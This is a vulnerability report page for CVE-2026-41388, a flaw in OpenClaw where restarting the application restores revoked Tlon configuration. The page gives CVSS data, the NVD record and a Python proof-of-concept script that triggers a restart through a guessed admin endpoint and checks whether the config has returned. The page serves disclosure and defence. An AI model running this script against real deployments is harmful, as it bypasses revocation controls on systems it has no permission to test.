Security Vulnerability Report
中文
CVE-2026-41388 CVSS 6.5 MEDIUM

CVE-2026-41388

Published: 2026-04-28 19:37:42
Last Modified: 2026-04-30 20:37:43

Description

OpenClaw before 2026.3.31 contains a configuration management vulnerability where startup migration treats empty-array settings as missing values. Attackers can restart the application to rehydrate revoked Tlon configuration from file state, bypassing intended revocation controls.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:* - VULNERABLE
OpenClaw < 2026.3.31

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import time # Proof of Concept for CVE-2026-41388 # This script demonstrates the configuration rehydration vulnerability. TARGET = "http://vulnerable-openclaw-instance" CONFIG_ENDPOINT = f"{TARGET}/api/config" RESTART_ENDPOINT = f"{TARGET}/api/admin/restart" # Hypothetical endpoint def check_config_state(): """Check the current state of the Tlon configuration.""" try: response = requests.get(CONFIG_ENDPOINT, timeout=5) data = response.json() # Assuming 'tlon_config' holds the sensitive data return data.get('tlon_config', 'MISSING') except Exception as e: print(f"Error checking config: {e}") return None def trigger_restart(): """Trigger application restart to invoke startup migration.""" try: print("[*] Triggering application restart...") requests.post(RESTART_ENDPOINT, timeout=5) except requests.exceptions.ConnectionError: print("[!] Connection lost (Server likely restarting)...") if __name__ == "__main__": print("--- CVE-2026-41388 PoC: OpenClaw Config Rehydration ---") # 1. Check initial state (Assume revoked/empty) print("[1] Verifying initial configuration state...") initial_state = check_config_state() print(f" Initial Tlon Config: {initial_state}") if initial_state is None: print("[-] Target is not responding. Exiting.") exit(1) # 2. Trigger the vulnerability condition (Restart) trigger_restart() # 3. Wait for service recovery print("[*] Waiting for service to restart (10s)...") time.sleep(10) # 4. Verify configuration rehydration print("[2] Verifying configuration state after restart...") final_state = check_config_state() print(f" Final Tlon Config: {final_state}") # 5. Result if final_state and final_state != 'MISSING' and final_state != []: print("[+] SUCCESS: Configuration was rehydrated from file state (Bypass revocation).") else: print("[-] FAILED: Configuration remains revoked or target unreachable.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41388", "sourceIdentifier": "[email protected]", "published": "2026-04-28T19:37:42.040", "lastModified": "2026-04-30T20:37:42.923", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.3.31 contains a configuration management vulnerability where startup migration treats empty-array settings as missing values. Attackers can restart the application to rehydrate revoked Tlon configuration from file state, bypassing intended revocation controls."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-372"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.31", "matchCriteriaId": "35B1FB5C-EA5A-4095-9226-F947A9B3B984"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/a4d72a83f01fedd35964c352e3473c7712a3511b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-3pm9-5j7m-59vc", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-configuration-rehydration-via-empty-array-revocation-handling", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}